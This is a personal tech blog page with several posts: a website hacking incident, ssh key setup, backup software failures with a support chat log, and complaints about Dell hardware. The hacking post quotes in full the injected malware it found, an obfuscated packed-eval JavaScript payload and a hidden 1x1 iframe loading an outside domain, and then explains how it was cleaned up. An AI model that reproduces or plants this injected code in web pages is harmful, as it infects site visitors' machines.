OH SHNIKES, WE’VE BEEN HAXORED!!!
Yes. It finally happened. After... 6 years? on the web I finally got hacked.
Two domains affected:
http://cmcculloh.com
http://hallelujahbutton.com
(this also of course affected all sub-domains of cmcculloh.com, such as blog.cmcculloh.com).
This morning I went to my site and was told by Chrome that I wasn't allowed to go in because my site was going to infect my machine with H.I.V. (well, not really, but that's how it felt).
Here's the screen I saw:
THE VERY FIRST THING I DID WAS WENT AND CHANGED ALL OF MY PASSWORDS. I even finally got around to creating multiple users and separating all domains/sub-domains into their own user accounts. This way if cmcculloh.com gets cracked again, blog.cmcculloh.com will have less chance of also being compromised.
It took me quite a while to figure out what the culprit was (and I'm still not 100% sure) but then I realized that hallelujahbutton.com is exactly 1 page long it was really easy to find a very likely suspect. This line of code:
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\x5C\x62'+e(c)+'\134\142','g'),k[c]);return p;}('\x56\40\71\75\x55\x20\x54\x28)\73\71\x2EY\50\x39\x2E\130\50)\53\62)\x3BW\50\123.\x4F&\46\151\56u.N\x28\47M\x5C\x52\\c\x3D\47\51\x3D\75-\61\x29\173\x69\x2E\121\x28\'\\\120\134\x34\\\141\x5C\x318\\\x31\67\x5C\61\x36\x5C4\134\162\x5C\70\1341\x62\134\146\134\x62\'\x2B\x30.\x37(0.\x36\50)*\63\53\63\51\53\'\134\142\40h\\\61a\134\x31\x39\134\x31\65\\x\75\x5C\x22\x27\x2B0\x2E\67\x280\x2E\x36\x28\51\523+\x33\51+\47\x5C\42 \x5C\61\61\x5C\145\\10\\Z\134\x6A\\c\x5C\65\\j=\\\42\x5C\61\64\134\"\x5C\61\63\13412\x5C\x44\\\164\x5C5\134f\\\"B\\m\\4\\C\\\112\134n\134I\\o\134\x71\x5C\113\\F\\E\x5Cw\x5C8\x5C\x35\\\x79\\H\134a\x5C\70\x3A\\\x47\x27\530\x2E7\500.\x36\x28\x29*\x33\53\166)+\x27p\x5C\114\x5C\x79\x5C\x41\\\61\x63\134\x31\104\47\x2B\x30\x2E\x37(\x30\x2E6\x28)*\63\53v\x29+\47\\d\x5C\x67\x5C\x22\\1\x43\\\61\105\134f\\\61\x47\x5C\170\\\x38\134\144\72\1341\106\x5C\154\134g\x5C\x31\171\1341\x78\x5C1z\x5C1\102\x5C\61A\134\164.\\\x72\x5C\143\\\x31M\x5C\x6D\56\x31\x50\x5C\x6C\x5C\145\\\x6F\134\x34\134n\134\x31\117\134d\\\x31L\x5C\x31I\x5C\x7A\x5C\61\116\x5Ck\x5C\163\\\61\x4B\x5C\61\112\\\x31\x48\134\61j\\\61\x69\134\61\x6B\\1m\\q\1341l\1345\\1e\134\141\134s\\1\x64\134b\76\134\x31\x66\57\1341\150\134\141\\1\147\x5C\x31\164\x5C\61s\47);i.\165=\x27\x31\165\\\61\x77\x5Cw\\e\x5C\x31v\x5C\153\'+\x30.\67\50\x30.6\50)*\61o\51\53\x27\134\61\x6E\134\61\160\134\65\x5C\147\\\x7A\\\64\134\152\1341\162\134k\47+9.\61\x71\x28)\x7D',62,114,'\115\x61\x74h\174||10\x30\x7C\x78\x36\71|\61\64\65\x7C\x72and\157m|\x66\x6C\157or|\x78\674\174\145xp\x7C\61\64\66|4\x32|\x78\664\174\x316\60\x7C\1706\x44\174\x78\63\x44|1\x370\174\x7C\x64oc\165\x6De\x6Et\x7Cx\67\62\174\67\x35\x7C5\x37|\170\x37\x33\174x6\x45\x7C1\x34\x31\174\174\170\662\1741\644\1741\x343|\1706\103\174c\157\157\153ie|2\x30\60\174\61\x36\x35\x7C\616\64\174x\63\102\x7Cx\x370\x7C16\x34\x6F\160\174\x70\157\174\x787\64\x69\x7C\6171|1\x35\x34\174\x78\66\106|\655\x7C1\x354\145\x7Cx3A\x7C\615\67\x7C\x3163\174\x78\x378\x7C\x5F_u\174in\144\x65\x78\x4F\146\x7C\x63\157\157\153ieE\156a\142\x6Ce\x64|74\174w\162it\145\174\x78\66\104\x74|\x6E\x61vigat\157r|\104a\x74e\x7C\x6E\x65w\x7Cva\x72\174\x69\146\x7C\x67\x65\164\x44\141t\145|\x73\x65\x74D\141t\145\x7C\170\x362\x6F\174\170\x365\174\170\x36\x36\162\141\174\x31\x36\63\164\x7C\170\620\x7C\x360\174\6150\x7C40\167\x7Cx6D\145\1741\66\x32a\174\x786\x37\x7C1\645\x69|\x78\668\1747\x32|\x365\174x30|x\63\x43|\1707\x32a\x7C\61\x351|x\x33\657\x7C\170\633\x7C\1703\65\x7C\x78\63\x38\174\170\x337\174\x37\63\x7C\7199\719\x399|40\174to\x55\124C\x53t\x72\151ng\x7C\x31\64\65\163|\170\63E\174\x31\x35\x35e\x7C\137|x\674\144|\170\x35F|16\63\155\174x\x36\x31\174\6161\174x69\145|\170\66\64\163\174\x78\62\x30\163r\x7Cx\62D\x7C\x78\66\63|\x78\62F\1744\x32\150\x7Cx3\x31\174\x783\x46\174\x7834\x7C67\x7C\x78\x36\70\x70|1\x35\x36|\x786\x31g\x65\174\65\x36\174\165\x73'.split('|'),0,{}))</script>
<iframe src="http://xmtudaac.cz.cc/?go=1" width="1" height="1"></iframe>
(I added a line break for legibility)
EEEEEWWWW!!!!!! I got pwned!!!
Not 100% sure if it is the iframe *and* the script, or just the iframe.
How did I fix it?
ssh'ed into the site and ran this command "grep -ir function\(p,a,c,k,e,d\) *". Found that it was in 46 files. Downloaded the entire site and then did a global find/replace in Sublime Text (Ctrl + Shift + h) on the entire script (that I pasted above) and replaced it with nothing. Then I did a follow up search on "function(p,a,c,k,e,d)" again to confirm it was cleaned. Then I deleted the contents of my site on the server and re-uploaded everything I wanted up there.
So, how did this happen? Who knows. I definitely wasn't the only one. I had, within the last week, used a Chrome App called ShiftEdit and given it my ftp credentials, so I initially thought it might have been them somehow. But then I realized that I share my server with at least 100 other sites. Chances are 99% of those people don't know anything about security, and a good 20 of them probably use "password1" as their password. If any of those people got hacked, it's just a small step once you're on the box to wrangle root access and run a shell script that eats HTML documents and poops them out with your script inside of them (no, I don't know how to do this, but I could most likely be doing it by the end of the week were I so nefariously inclined. It's not hard. USE A GOOD PASSWORD and DON'T REUSE IT ACROSS SITES).
So, anywho, I have cleaned my site and submitted my site to Google for verification so that we can get this error page back down. DON'T click the "proceed anyway" link. Because I'm just a guy and I could still be infected and not know it. Always just click the "go back" button. Once Google has OK'd it, the site will become available (as hallelujahbutton.com now has).
THANK YOU GOOGLE!!! YOU'RE AWESOME!!! Except that I *really* wish your error pages were more specific on EXACTLY what the problem was instead of making me hunt and hunt for it.
Also, I've deleted hallelujahbutton.com and set the domain name to expire. I completely forgot it existed and am too busy to want to deal with it anymore so, pruned!
Using two different identity files with ssh for rsa remote authentication keys
I have two different servers I need to connect to, each requiring two different types of remote authentication keys. One requires rsa, the other dss. So I had to make and use two different remote authentication keys, but was unsure as to how to tell my machine to serve them both up. It was, by default, just serving up the rsa key.
What I had to do was create a file called "config" (NO file extension) in the ~/.ssh directory on my machine. I then put two lines in this file:
IdentityFile ~/.ssh/id_rsa
IdentityFile ~/.ssh/id_dss
It works like a charm.
For the curious, I'm on windows using the git bash that comes built in with git (NOT cygwin). My ~/.ssh directory looks like this:
I generated these RSA keys with a command similar to this:
ssh-keygen -t dss -f ~/.ssh/id_dss
And copied and pasted the contents of the id_rsa.pub (and id_dss.pub) files into the appropriate place (something like ~/.ssh/authorized_keys) on the remote servers.
One Click Backup w/ Sabrent & Hitachi – FAIL
I can't get a full drive backup. I've tried multiple settings.
First I tried to backup all files:
It kept failing, presumably because I was using the computer during the backup. So, i finally just backed up only the 50+ GB of images (which was my major focus) successfully, WIN! Then I went back to the task of backing up the entire C: drive. I noticed that you could just do "Newer", which I decided would allow my backup to continue from where it failed.
So, next I tried:
Still didn't work, but at least it didn't re-backup files already backed up. After deleting several files that were causing it to fail (had to go to the command line for these, because windows could not delete/recognize/open them) I again tried the backup. This time it failed on UsrClass.dat (see the actual error below):
Create date/time : 2/5/2010--8:06:21 AM
Error Report of Backup from [C:] to [Z:\Backup_Drive_C]
C:\Documents and Settings\Christopher\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
The process cannot access the file because it is being used by another process.
I thought, hrm... Maybe I'll just run it again. Nope. Still failed. Ran again, still failed. Ok, so I'm going to have to actually do something about the file.
I *almost* tried switching to another product, again, but then I realized this would be my fourth product switch and maybe I should at least give Sabrent tech support a try. So I submitted the following help request through their website:
1. Purchased Sabrent SATA 3.5"/2.5" Hard Drive to USB 2.0 Docking Station.
2. Installed one click backup software
3. Placed newly formatted/partitioned empty drive in dock
4. Began backup of C: drive to drive in dock (Z:)Expected Result:
Full Backup of C: Drive to Z: driveActual Result:
Failed after ~20,000 files with the following error:
Create date/time : 2/5/2010--8:06:21 AM
Error Report of Backup from [C:] to [Z:\Backup_Drive_C]C:\Documents and Settings\Christopher\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
The process cannot access the file because it is being used by another process.http://screencast.com/t/N2E3YjdkYz
We'll see how they respond. If I can't get this to work, the next thing I'm going to try is some sort of Open Source drive duplication or backup solution that will let me copy from one drive to another. If that still doesn't work, I'll start looking at commercial, local backup options.
Downgrading my Mozy account and getting a refund
Let's go on a little journey.
Back in August I heard an advertisement from Carbonite online backup. I thought, you know? What the heck, I've been thinking/worrying about this for two years. I'll give it a try. So I did. Unfortunately, I was in the Firefox web browser. For some reason, you can't successfully download and install Carbonite through Firefox, EVEN THOUGH they have a Firefox specific download page. After 3 days of messing with this, uninstalling, reinstalling, restarting, online chatting (their online chat helper person sucks btw), they FINALLY thought to ask what browser I was in and then informing me it doesn't work with Firefox. CARBONITE FAIL.
So, I went to their direct competitor, Mozy. I signed up for the free 2GB trial account. My backups completed just fine every day for four months. SOLD!
I sign up for the unlimited account. Just the monthly version at this time because I'm a skeptic and don't want to hand them $100 before I even see it work fully once.
After two months of not being able to do a full back up (I actually was able to get 71GB of my total 250GB backed up before it failed one time) I'm ready to cancel. I've already been told by the Mozy support tech I've been bouncing e-mails off of for two weeks that I'll be refunded both payments that I've already been charged.
As I said, I've been bouncing e-mails off of Mozy and they are trying to figure out what is wrong. I've e-mailed them log files, etc, and the last thing they said was there is a conflict with my Symantec (a bunch of errors in their logs). I don't have Symantec installed anymore (I think I uninstalled a month ago) so I was going to uninstall and re-install Mozy, but after I uninstalled I felt I'd rather just opt out of the reinstallation and go with another option.
I went through the online chat to see how that refund they promised me 10 days ago was coming. Then I requested to be downgraded back to the free account (I don't want to delete my account until they refund my money). Here's how that went:
(full chat log):
Please wait for a site operator to respond.
You are now chatting with 'Mubarak'
Mubarak: Welcome to Mozy Live Support. May I have your account email address please?
Christopher McCulloh: REDACTED
Mubarak: Thank you. How are you doing?
Christopher McCulloh: ok, you?
Mubarak: I am doing good. Thank you for asking.
Mubarak: How may I assist you?
Christopher McCulloh: As you may be able to see from my case history, I was supposed to receive a refund for all charges due to the fact that I have not yet been able to complete a backup
Mubarak: Do you have any case ID for the same?
Christopher McCulloh: REDACTED
Mubarak: Thank you, let me check.
Mubarak: I see that this ticket is under research team.
Mubarak: I am checking your account on the Mozy server.
Mubarak: Thank you Christopher, The actual ticket for the refund is REDACTED
Mubarak: I have checked the status and the billing team is working on it to get you the refund.
Mubarak: I will add a note to them about this.
Christopher McCulloh: Ok, how long will that take?
Mubarak: I will update them to make it as quick as possible.
Mubarak: I cannot promise you the exact time.
Christopher McCulloh: ok. Thank you.
Mubarak: Welcome Christopher.
Mubarak: Is there anything else I might help you with today?
Christopher McCulloh: Yes, how do I downgrade back to the free 2GB account?
Mubarak: For that you will have to cancel the existing account completely, or sign up for the free account with a different email address.
Christopher McCulloh: hrm... ok. I'm not ready to do that without having received a refund. Any way to put my account on hold so I'm not charged again?
Mubarak: I will update this request as well to the billing team.
Mubarak: They will contact you via email.
Christopher McCulloh: ok, thanks
Mubarak: Welcome Christopher.
Mubarak: Thank you for contacting Mozy technical support. You have a wonderful day.
Mubarak: Bye.
Christopher McCulloh: you as well.
So, double FAIL, but we'll see how it turns out in the end. Mozy has been more than fair/friendly so far and I will definitely keep them in mind for future backup needs. Let's hope they don't ruin that for themselves by screwing me here at the end...
One Click Backup w/ Sabrent & Hitachi
I've been trying to get Mozy backup to work for two months now. First of all, my harddrive is 300GB, and apparently this will take two weeks to backup over my connection. On top of that, there is no "start where you left off" feature, so anytime windows downloads an update and auto-restarts, I'm screwed. So, I can either turn that off, or never have a backup. Crap.
Let's try plan B.
Went to Frye's Electronics and picked up a Sabrent SATA 2.5"/3.5" Hard Drive to USB 2.0 Docking Station, which comes with a one click backup button. Then I grabed a Hitachi Deskstar 500GB Sata HDD. Total cost: $99.00.
End goal is to have two or three HDD, once a week I'll click the button and then grab the drive and toss it in my bag and take it to work and put it in my desk and swap it out with the drive in my desk and bring that one home. Rinse, wash, repeat. The other great thing about the dock is that it is scalable and useful. I can back up as many different computers and as much data as I want. I'm only limited by how many drives I want to buy.
So, a little trouble when trying to get the Hitachi drive to be recognized. I had to right click on "My Computer" and select "Manage". Then I clicked on "Storage" and clicked "Disk Management"; Immediately some dialog thingy popped up asking if I wanted to do such-and-such and I said yes (without snapping a screenshot, oops). This was the end result:
It sees this drive as "drive 5". Cool. Whatever.
So, now I right click on the drive and select something about "format" or "partition" (idk, couldn't get a screen-shot, there's only three options, you'll figure it out) and a dialog pops up. I captured some screen caps of what I did along the way. My choices were based on almost nothing other than gut instinct. We'll see how it works out:
(Selected "no" here because I'm planning on this being assigned dynamically because I'll theoretically be swapping multiple drives out here and I want them all to be seen as the same drive by the computer. So maybe I should have chosen "Z" or something, idk...)
At this point I closed out of the dialog assuming I was done. No Dice. When I went back in I saw it was formatting. After about 15 minutes it was only at 8%:
So, it's going to take a while. About an hour later it's done. Apparently bad call on the not assigning a drive letter. It's ok though, I just right click on the drive partition and select "Change drive letter and path..."
And hey, check it out! There it is!
Now I can easily use the software and one button backup that comes with the sabrent docking station.
This step is going to take a while...
About an hour in...
Went to bed, woke up, and my computer had crashed (it does this at least once a week, another reason Mozy wasn't working). So I checked the backup drive. Nope. Didn't get everything. Got about half of everything. Trying again...
“Dell Wars” Episode VI – Return of the… Sith?
I've chronicled my disastrous flirtations with Dell computers in the past, and thought that my struggles were over. Alas, here is episode VI...
Every computer I own is a dell. Why? Because they used to be good. After a year of fighting with dell, they finally sent me an xps 410 (to replace my crappy xps 400).
I upgraded my RAM a while back because the 1GB just wasn't doing it.
So now I'm playing through Half Life 2 Episode 2 with the developer's commentary on. I'm going after the larva in the chapter where the antlion gaurdian chases you through the tunnels. Just after you have to break through the boards to escape him and you drop through the floor. As soon as I run down the hall, at the exact moment I am approaching the medic passing the hall light on the left side the game freezes and there is a memory error. It happens every time. I have done everything short of uninstalling my antivirus program to try and fix it. It has happened at the exact same moment every time for the last 12 times.
This is not happening to anyone else, just me. Why? It has to be something to do with my stupid freaking dell. Probably the built in (to the motherboard) sound-card. At least now I'm not getting the blue screen of death, it just quits the program.
I am never buying a dell again. Ever. Yes, this is the billionth time I've said that, but this is just a nail in the already soldered shut coffin for dell with me.
dell == hell.
What happens if I…
...Stick a headphones plugin into a USB drive instead of a headphones jack?
It's dark under my desk. I can't see well, and I know that the hole is there somewhere. I for some reason had unplugged my headphones, and now I wanted them plugged back in. I just crammed the plug into the first hole it came to and my whole computer went black. Oops.
I wish I had had the headphones on so I could have heard if it made a noise or not.
I quickly pulled it back out and saw I had inadvertantly plugged into a USB slot. Whoops. After a moment or two the computer came back on and started up. It gave me a "windows shut down abnormally" (or whatever) error, and then when it came up it reconfigured my network configuration (what?). After that everything was back to normal.
So... now you know what happens if you try and stick your headphones into a usb jack. Go forth and prosper!
“Dell Wars”: Episode V – The Dellpire Strikes Back
After boxing up my old computer and sending it off to Dell, I began playing Half Life 2: Episode 1.
The third day I went to play it, It started crashing. It would crash every time I played after playing for 60 seconds.
NOOOOOOOOOOOOOOOOOoooooooooooooooooooooo!!!!!!!!!!!!!!!!
So I went in search of the answer hoping beyond hope that it was a simple driver update.
I did all of the windows updates, downloaded the latest DirectX drivers, and downloaded the Steam Crash Client. The steam crash client was very helpful in that it told me that I had a VERY SEVERE problem with my video card drivers, and gave me a link to download the new ones (I was using v.6.14.1... and the current ones as of 8/21/06 were 8.282). Let's hope this isn't an evil trap by Vadar to lure me in, and that this will actually work.
After installing all drivers and updating windows, the game seems to be working fine...
“Dell Wars” Episode IV: A New XPS 410
Some of you may have heard about my Dell Wars saga to date. But if you have not, I will sum it up here:
Dell sent me a lemon.
Episode I - The Phantom Menace:
I get the Dell. It''s stats are off the chart. I am astounded. Yet there are some foreboding signs I ignore lurking in the shadows. My computer freezes randomly sometimes...
Episode II - Attack of the Cloning Sounds:
While playing HL2:E1 the computer begins crashing with looping sounds. Whaaaaa??? Dell sends me a new video card, and I put a new sound card in it and disable the on-board sound.
Episode III - Revenge of the System Board:
While playing WOW my Dell starts crashing and giving me "Blue Screens of Death". I calmly call dell and scream at them, and they tell me it is the ram and system board. Oh and the processor. And they come and replace it. The RAM goes bad, and they send me new RAM. Then the system board goes bad AGAIN... All seems lost. I rise up screaming "NOOOOOOOO!!!!!!!!"
This brings us current with:
Episode IV: A New XPS 410
My old computer (An XPS400) has gone over to the dark side of the force. However after a year of dealing with my darth dell computer, A new (free) XPS 410 has just arrived in it's place. Could this new hope be the answer to all my problems? Will it play HL2:E1 without crashing even at full resolution and max fps? Will I counter strike with impunity? We shall soon find out (I just took it out of the box)...
Stay tuned. Hopefully there will be no Episode V in which the evil dellpire strikes back and turns out to have sent me another hopelessly crappy computer...
Pages
- Projects
- The History of the World (as relevant to Christopher McCulloh)
- WordPress Themes
- Continuum Refactor
Categories
- autobiographical
- flash games
- hardware
- history
- iPhone App Development
- Java
- Javascript
- math & physics
- movies
- n342
- plugin
- programming concepts
- project management
- prototyping
- screencast
- Software
- Theming
- Tools
- TOTW
- tutorial
- Uncategorized
- Usability
- video games
- web sites
- Wordpress
Blogroll
Archive
- February 2013
- September 2012
- July 2012
- May 2012
- April 2012
- December 2011
- November 2011
- October 2011
- May 2011
- January 2011
- November 2010
- October 2010
- September 2010
- August 2010
- June 2010
- May 2010
- April 2010
- February 2010
- January 2010
- December 2009
- November 2009
- October 2009
- August 2009
- July 2009
- June 2009
- February 2009
- October 2008
- September 2008
- July 2008
- June 2008
- May 2008
- March 2008
- February 2008
- January 2008
- December 2007
- November 2007
- October 2007
- September 2007
- August 2007
- June 2007
- November 2006